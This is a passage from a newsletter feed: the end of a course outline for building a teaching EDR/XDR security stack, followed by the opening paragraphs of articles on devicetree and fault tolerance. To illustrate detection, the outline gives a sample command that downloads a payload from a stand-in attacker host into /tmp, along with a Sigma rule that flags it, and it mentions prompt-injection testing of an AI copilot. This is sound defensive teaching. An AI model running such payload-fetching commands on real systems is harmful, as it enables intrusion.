rows.</p></li><li><p>What you build/work with: Ingest &#8594; broker &#8594; consumer &#8594; storage (SQLite in demos, ClickHouse for analytics).</p></li><li><p>Key concepts: Queue-based decoupling of ingest from storage; flattening structured events into analyzable rows.</p></li><li><p>Why it matters: This is the receive-queue-store backbone every later detection and correlation issue reads from.</p></li></ul><div><hr></div><h3>Module 3 &#8212; Telemetry Depth</h3><p><strong>Issue 07 &#8212; File Telemetry</strong> <em>(v07-file-telemetry)</em></p><ul><li><p>What&#8217;s covered: File-related event capture and OCSF mapping.</p></li><li><p>What you build/work with: File write/create events flowing through the same agent-to-pipeline path.</p></li><li><p>Key concepts: Extending an OCSF event category beyond process activity.</p></li><li><p>Why it matters: File events are core evidence in the &#8220;curl &#8594; /tmp&#8221; style detection pattern used later.</p></li></ul><p><strong>Issue 08 &#8212; Network Telemetry</strong> <em>(v08-network-telemetry)</em></p><ul><li><p>What&#8217;s covered: Network connection event capture and normalization.</p></li><li><p>What you build/work with: Network activity events joined to the same process context via <code>process.uid</code>.</p></li><li><p>Key concepts: Linking network activity to the process that initiated it.</p></li><li><p>Why it matters: Enables detections and correlation that combine &#8220;what ran&#8221; with &#8220;what it connected to.&#8221;</p></li></ul><p><strong>Issue 09 &#8212; Persistence Telemetry &amp; Coverage Matrix</strong> <em>(v09-persistence-telemetry)</em></p><ul><li><p>What&#8217;s covered: Persistence-mechanism telemetry (how attackers stay resident on a system) plus a coverage matrix documenting what is and isn&#8217;t observed.</p></li><li><p>What you build/work with: Additional event types and a matrix tracking detection coverage across the system.</p></li><li><p>Key concepts: Persistence as an attacker technique category; the value of tracking telemetry coverage explicitly.</p></li><li><p>Why it matters: Establishes an honest record of what the system can and cannot see &#8212; important for both engineering and later capstone reporting.</p></li></ul><p><strong>Issue 10 &#8212; Kubernetes / Container Telemetry</strong> <em>(v10-k8s-ebpf-agent)</em></p><ul><li><p>What&#8217;s covered: A Kubernetes agent producing container-enriched events.</p></li><li><p>What you build/work with: Container context added to the same OCSF event pipeline used by the OS agents.</p></li><li><p>Key concepts: Extending endpoint visibility into containerized workloads.</p></li><li><p>Why it matters: Real environments aren&#8217;t just laptops &#8212; this brings container visibility into the same pipeline.</p></li></ul><div><hr></div><h3>Module 4 &#8212; Detection</h3><p><strong>Issue 11 &#8212; Sigma-as-Code Detection Engine</strong> <em>(v11-sigma-detection-engine)</em></p><ul><li><p>What&#8217;s covered: A detection engine built around Sigma-as-code rules (YAML-based rules such as <code>proc_curl_tmp.yml</code>, which alerts when a process named curl runs with <code>/tmp</code> in the command line).</p></li><li><p>What you build/work with: A rule-matching engine that treats Sigma as a conversion story &#8212; rules mapped against OCSF fields.</p></li><li><p>Key concepts: Declarative detection logic; rule-to-schema mapping.</p></li><li><p>Why it matters: This is the first &#8220;rules that shout&#8221; layer &#8212; the system&#8217;s first line of automated suspicion.</p></li></ul><p><strong>Issue 12 &#8212; Behavioral Detection</strong> <em>(v12-behavioral-detection)</em></p><ul><li><p>What&#8217;s covered: Behavioral scoring (<code>behavioral_score.py</code>) that fuses multiple weak signals into a stronger signal.</p></li><li><p>What you build/work with: A scoring mechanism that goes beyond single-rule matches.</p></li><li><p>Key concepts: Signal fusion versus single-rule alerting.</p></li><li><p>Why it matters: Real attacker behavior is rarely caught by one rule alone &#8212; this teaches combining weak evidence.</p></li></ul><div><hr></div><h3>Module 5 &#8212; XDR Correlation &amp; Identity</h3><p><strong>Issue 13 &#8212; XDR Correlation</strong> <em>(v13-xdr-correlation)</em></p><ul><li><p>What&#8217;s covered: Correlation logic (<code>backend/correlation</code>) that links host, user, IP, and file-hash signals into a single incident.</p></li><li><p>What you build/work with: The engine that promotes related alerts into one incident record.</p></li><li><p>Key concepts: This is the practical definition of &#8220;X&#8221; in XDR &#8212; connecting clues across entities rather than viewing alerts in isolation.</p></li><li><p>Why it matters: Without correlation, an analyst sees a pile of disconnected alerts instead of one attack story.</p></li></ul><p><strong>Issue 14 &#8212; ITDR (Identity Threat Detection)</strong> <em>(v14-itdr)</em></p><ul><li><p>What&#8217;s covered: Identity-based detection rules, such as impossible-travel logins.</p></li><li><p>What you build/work with: Identity signals feeding into the same correlation pipeline.</p></li><li><p>Key concepts: Identity as a first-class telemetry source alongside host and process data.</p></li><li><p>Why it matters: Modern attacks frequently involve compromised credentials, not just malware &#8212; this extends detection beyond the endpoint.</p></li></ul><div><hr></div><h3>Module 6 &#8212; Response</h3><p><strong>Issue 15 &#8212; Response Actions</strong> <em>(v15-response-actions)</em></p><ul><li><p>What&#8217;s covered: A control-plane response system (<code>backend/response</code>) supporting actions like <code>KillProcess</code>, <code>QuarantineFile</code>, and <code>IsolateHost</code>.</p></li><li><p>What you build/work with: A response mechanism that strictly separates the data plane (seeing events) from the control plane (taking action), per ADR 001 &#8212; actions only execute with an explicit <code>--approved</code> flag and are audited to <code>audit.jsonl</code>.</p></li><li><p>Key concepts: Data plane / control plane separation; approval-gated automation; audit logging.</p></li><li><p>Why it matters: No silent auto-response &#8212; this models a safe, deliberate action system rather than an autonomous one.</p></li></ul><div><hr></div><h3>Module 7 &#8212; Analyst Experience</h3><p><strong>Issue 16 &#8212; SOC Dashboard</strong> <em>(v16-soc-dashboard)</em></p><ul><li><p>What&#8217;s covered: A static SOC UI showing alerts, hosts, and process trees.</p></li><li><p>What you build/work with: The analyst-facing view of everything built in prior issues &#8212; alerts, entities, and process ancestry.</p></li><li><p>Key concepts: Turning backend data into an investigable interface.</p></li><li><p>Why it matters: Detection and correlation are only useful if an analyst can actually see and act on them.</p></li></ul><p><strong>Issue 17 &#8212; AI Copilot</strong> <em>(v17-ai-copilot)</em></p><ul><li><p>What&#8217;s covered: An AI copilot that can propose actions (with citations) based on alert data.</p></li><li><p>What you build/work with: Constrained AI tooling layered on top of the dashboard and backend data.</p></li><li><p>Key concepts: AI-assisted investigation with proposal-only behavior &#8212; the copilot suggests, it doesn&#8217;t auto-fire.</p></li><li><p>Why it matters: Reflects how AI is realistically integrated into a SOC workflow &#8212; as an assistant, not an autonomous actor.</p></li></ul><p><strong>Issue 18 &#8212; Copilot Red-Team Testing</strong> <em>(v18-copilot-redteam)</em></p><ul><li><p>What&#8217;s covered: Red-team/injection testing against the AI copilot.</p></li><li><p>What you build/work with: Test cases probing the copilot&#8217;s constrained tool boundaries.</p></li><li><p>Key concepts: Adversarial testing of AI tooling, including prompt-injection resistance.</p></li><li><p>Why it matters: An AI system with tool access needs to be tested against manipulation, not just functionality.</p></li></ul><div><hr></div><h3>Module 8 &#8212; Hardening &amp; Capstone</h3><p><strong>Issue 19 &#8212; Evasion &amp; Anti-Tamper</strong> <em>(v19-evasion-antitamper)</em></p><ul><li><p>What&#8217;s covered: A watchdog/health-check lab for anti-tamper concepts.</p></li><li><p>What you build/work with: Basic mechanisms for detecting agent tampering or evasion attempts.</p></li><li><p>Key concepts: Why endpoint agents themselves need to be resistant to interference.</p></li><li><p>Why it matters: An EDR agent that can be silently disabled by an attacker isn&#8217;t providing real protection.</p></li></ul><p><strong>Issue 20 &#8212; Capstone Hardening / Packaging</strong> <em>(v20-capstone-hardening)</em></p><ul><li><p>What&#8217;s covered: Packaging the stack with a Helm chart (<code>deploy/helm/edrxdr/</code>).</p></li><li><p>What you build/work with: A Helm chart skeleton to deploy the backend-ish stack.</p></li><li><p>Key concepts: Packaging a multi-component system for deployment.</p></li><li><p>Why it matters: Moves the project from &#8220;a set of scripts&#8221; toward something deployable as a unit.</p></li></ul><p><strong>Issue 21 &#8212; Capstone Red-Team &amp; Coverage Report</strong> <em>(v21-capstone-redteam-final)</em></p><ul><li><p>What&#8217;s covered: A final red-team pass and a coverage report summarizing what the system detects and where its gaps are.</p></li><li><p>What you build/work with: An end-to-end validation exercise against the full system built across all 21 issues.</p></li><li><p>Key concepts: Coverage assessment as an honest closing exercise, not a claim of completeness.</p></li><li><p>Why it matters: Ties the entire course together by testing the system you built against realistic attacker behavior &#8212; and documenting its limits.</p></li></ul><div><hr></div><h2>How the Pieces Connect</h2><p>The end-to-end story taught across all 21 issues is: <strong>see &#8594; normalize &#8594; ship &#8594; store &#8594; detect &#8594; connect &#8594; act &#8594; review.</strong></p><p>A concrete example: a host runs <code>curl https://evil.example/payload.sh -o /tmp/payload.sh</code>. The Linux agent (or its replay fixture) observes the process launch, converts it to an OCSF Process Activity event, and ships it over the buffered mTLS transport into the ingest pipeline. A Sigma rule (<code>ocsf-proc-curl-tmp</code>) matches and fires a medium alert. If related signals appear &#8212; an unusual network connection, an anomalous login &#8212; the correlation engine promotes these into a single incident. The dashboard shows the process tree, the copilot proposes an action, and an operator runs an approved response command, which is written to the audit log.</p><p>Every issue in the curriculum is one link in that chain.</p><div><hr></div><h2>What You&#8217;ll Learn</h2><ul><li><p>How OCSF normalization allows heterogeneous event sources to be treated uniformly</p></li><li><p>eBPF, ETW, and Endpoint Security concepts as OS-level observation mechanisms</p></li><li><p>Secure telemetry transport using buffering and mTLS</p></li><li><p>Ingest pipeline design with broker-based queuing and analytical storage (ClickHouse)</p></li><li><p>Writing and reasoning about Sigma-as-code detection rules</p></li><li><p>Behavioral signal fusion versus single-rule detection</p></li><li><p>XDR correlation logic that links host, user, IP, and hash into incidents</p></li><li><p>Identity-based detection (ITDR) concepts like impossible travel</p></li><li><p>Data-plane/control-plane separation and approval-gated response design</p></li><li><p>Building an analyst-facing SOC dashboard</p></li><li><p>Integrating an AI copilot safely, including red-team testing of AI tooling</p></li><li><p>Anti-tamper considerations for endpoint agents</p></li><li><p>Packaging a multi-service security stack with Helm</p></li></ul><div><hr></div><h2>Important Note</h2><p>This course produces a <strong>demoable vertical slice</strong>, not a commercial security product. Several components are explicitly scaffolds or labs &#8212; the macOS agent is built around an ES scaffold, most agent demos run in replay mode against fixture files rather than live kernel hooks, and the broker/storage layer runs in a simplified, file-backed or SQLite form in labs. This is not a claim that completing these 21 issues produces a shipping fleet agent equivalent to CrowdStrike, SentinelOne, or Elastic. The purpose is to teach the real architectural layering these platforms use, honestly and at a scope that&#8217;s actually learnable.</p><div><hr></div><h2>Conclusion</h2><p>By the end of Issue 21, you will have built &#8212; layer by layer &#8212; a working vertical slice of an EDR/XDR system: agents that observe activity, a shared schema that normalizes it, a secure pipeline that moves and stores it, detection and correlation logic that turns raw events into incidents, and a response and analyst layer that lets a human (with AI assistance) act on what the system finds. You won&#8217;t have built a commercial product &#8212; but you&#8217;ll understand, from the inside, how one is actually put together.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Power and Thermal Management Strategies for Heterogeneous Load Balancing]]></title><link>https://howtech.substack.com/p/power-and-thermal-management-strategies</link><guid isPermaLink="false">https://howtech.substack.com/p/power-and-thermal-management-strategies</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Thu, 13 Aug 2026 09:31:37 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!iKwx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1cac6f26-12ef-461d-8f1a-d2ea93b7cda4_960x640.svg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!iKwx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1cac6f26-12ef-461d-8f1a-d2ea93b7cda4_960x640.svg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!iKwx!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1cac6f26-12ef-461d-8f1a-d2ea93b7cda4_960x640.svg 424w, /__u/substackcdn.com/image/fetch/$s_!iKwx!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1cac6f26-12ef-461d-8f1a-d2ea93b7cda4_960x640.svg 848w, /__u/substackcdn.com/image/fetch/$s_!iKwx!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1cac6f26-12ef-461d-8f1a-d2ea93b7cda4_960x640.svg 1272w, /__u/substackcdn.com/image/fetch/$s_!iKwx!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1cac6f26-12ef-461d-8f1a-d2ea93b7cda4_960x640.svg 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!iKwx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1cac6f26-12ef-461d-8f1a-d2ea93b7cda4_960x640.svg" width="1456" height="971" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1cac6f26-12ef-461d-8f1a-d2ea93b7cda4_960x640.svg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:971,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:7447,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/svg+xml&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209587768?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1cac6f26-12ef-461d-8f1a-d2ea93b7cda4_960x640.svg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!iKwx!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1cac6f26-12ef-461d-8f1a-d2ea93b7cda4_960x640.svg 424w, /__u/substackcdn.com/image/fetch/$s_!iKwx!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1cac6f26-12ef-461d-8f1a-d2ea93b7cda4_960x640.svg 848w, /__u/substackcdn.com/image/fetch/$s_!iKwx!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1cac6f26-12ef-461d-8f1a-d2ea93b7cda4_960x640.svg 1272w, /__u/substackcdn.com/image/fetch/$s_!iKwx!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1cac6f26-12ef-461d-8f1a-d2ea93b7cda4_960x640.svg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2></h2>
      <p>
          <a href="/__u/howtech.substack.com/p/power-and-thermal-management-strategies">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[The Role of Devicetree in Modern Embedded RISC-V Heterogeneous Compute Systems]]></title><description><![CDATA[1.]]></description><link>https://howtech.substack.com/p/the-role-of-devicetree-in-modern</link><guid isPermaLink="false">https://howtech.substack.com/p/the-role-of-devicetree-in-modern</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Wed, 12 Aug 2026 09:30:21 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!JNSc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae613db1-d11d-4cc5-ab15-cd4f25f35674_3600x2480.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>1. Introduction</h2><p>Every RISC-V SoC that ships with an NPU, DSP, or other fixed-function accelerator faces the same bootstrapping problem ARM SoCs solved a decade ago: the kernel binary is generic, but the hardware underneath it is not. A single <code>Image</code> has to boot correctly on a board with a PLIC at <code>0xc000000</code> and an IOMMU-backed accelerator at <code>0x20000000</code>, and on a board where none of that exists. The devicetree is the mechanism that closes that gap &#8212; a flat, boot-time-supplied hardware description that lets the same kernel binary discover and correctly wire up wildly different hardware.</p><p>This article works through devicetree from the perspective of an engineer bringing up a heterogeneous RISC-V platform: a CPU cluster, a PLIC interrupt controller, an IOMMU, and a DMA-coherent NPU accelerator. We compile a real <code>.dts</code> with <code>dtc</code>, parse the resulting <code>.dtb</code> with <code>libfdt</code>, deliberately get two things wrong the way real driver code gets them wrong, catch the resulting bugs with sanitizers and a correctness oracle, fix them, and then demonstrate a devicetree overlay hot-attaching a second accelerator at runtime &#8212; all executed both natively and cross-compiled under <code>qemu-riscv64</code>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!JNSc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae613db1-d11d-4cc5-ab15-cd4f25f35674_3600x2480.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!JNSc!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae613db1-d11d-4cc5-ab15-cd4f25f35674_3600x2480.png 424w, /__u/substackcdn.com/image/fetch/$s_!JNSc!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae613db1-d11d-4cc5-ab15-cd4f25f35674_3600x2480.png 848w, /__u/substackcdn.com/image/fetch/$s_!JNSc!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae613db1-d11d-4cc5-ab15-cd4f25f35674_3600x2480.png 1272w, /__u/substackcdn.com/image/fetch/$s_!JNSc!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae613db1-d11d-4cc5-ab15-cd4f25f35674_3600x2480.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!JNSc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae613db1-d11d-4cc5-ab15-cd4f25f35674_3600x2480.png" width="1456" height="1003" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ae613db1-d11d-4cc5-ab15-cd4f25f35674_3600x2480.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1003,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:589763,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209349451?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae613db1-d11d-4cc5-ab15-cd4f25f35674_3600x2480.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!JNSc!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae613db1-d11d-4cc5-ab15-cd4f25f35674_3600x2480.png 424w, /__u/substackcdn.com/image/fetch/$s_!JNSc!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae613db1-d11d-4cc5-ab15-cd4f25f35674_3600x2480.png 848w, /__u/substackcdn.com/image/fetch/$s_!JNSc!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae613db1-d11d-4cc5-ab15-cd4f25f35674_3600x2480.png 1272w, /__u/substackcdn.com/image/fetch/$s_!JNSc!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae613db1-d11d-4cc5-ab15-cd4f25f35674_3600x2480.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div>
      <p>
          <a href="/__u/howtech.substack.com/p/the-role-of-devicetree-in-modern">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Fault Tolerance of Parallel Computations on Heterogeneous Platforms]]></title><description><![CDATA[1.]]></description><link>https://howtech.substack.com/p/fault-tolerance-of-parallel-computations</link><guid isPermaLink="false">https://howtech.substack.com/p/fault-tolerance-of-parallel-computations</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Tue, 11 Aug 2026 09:30:32 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!0KDn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5867e25e-274c-46b0-839f-e2ee79a204c6_4000x2880.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>1. Introduction</h2><p>The moment you spread a computation across a CPU, a GPU, and maybe a smart NIC or FPGA, you have quietly signed up for a much harder reliability problem than anything a single-socket server presents. A homogeneous multi-core box has one failure model: a core either executes correctly or the whole machine typically halts. A heterogeneous platform has <em>several</em> independent failure domains &#8212; host DRAM with ECC, device HBM with its own scrubbing engine, an IOMMU translating and policing DMA, a PCIe or NVLink fabric that can drop or corrupt in flight, and a device firmware stack that can wedge without ever generating a CPU exception. Linux does not treat this as one problem solved once. It treats it as a layered set of contracts: the Machine Check Architecture (MCA) contract between silicon and kernel for host-side hardware errors, the EDAC contract for scrubbing and reporting memory errors, the hardlockup/softlockup watchdog contract for detecting a CPU that has stopped making forward progress, and the accelerator-driver fault contract (IOMMU fault queues plus driver-level timeout detection and recovery, or TDR) for devices that are, from the kernel&#8217;s point of view, black boxes connected over DMA.</p><p>This lesson is about how those contracts fit together, why each one exists, and how you build software on top of them that survives a fault in <em>one</em> compute domain without losing the whole job. That last part matters enormously in practice: a training run spanning 512 GPUs that restarts from scratch because one HBM cell flipped a bit is not just wasteful, it is often the dominant cost of running heterogeneous clusters at scale.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!0KDn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5867e25e-274c-46b0-839f-e2ee79a204c6_4000x2880.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!0KDn!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5867e25e-274c-46b0-839f-e2ee79a204c6_4000x2880.png 424w, /__u/substackcdn.com/image/fetch/$s_!0KDn!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5867e25e-274c-46b0-839f-e2ee79a204c6_4000x2880.png 848w, 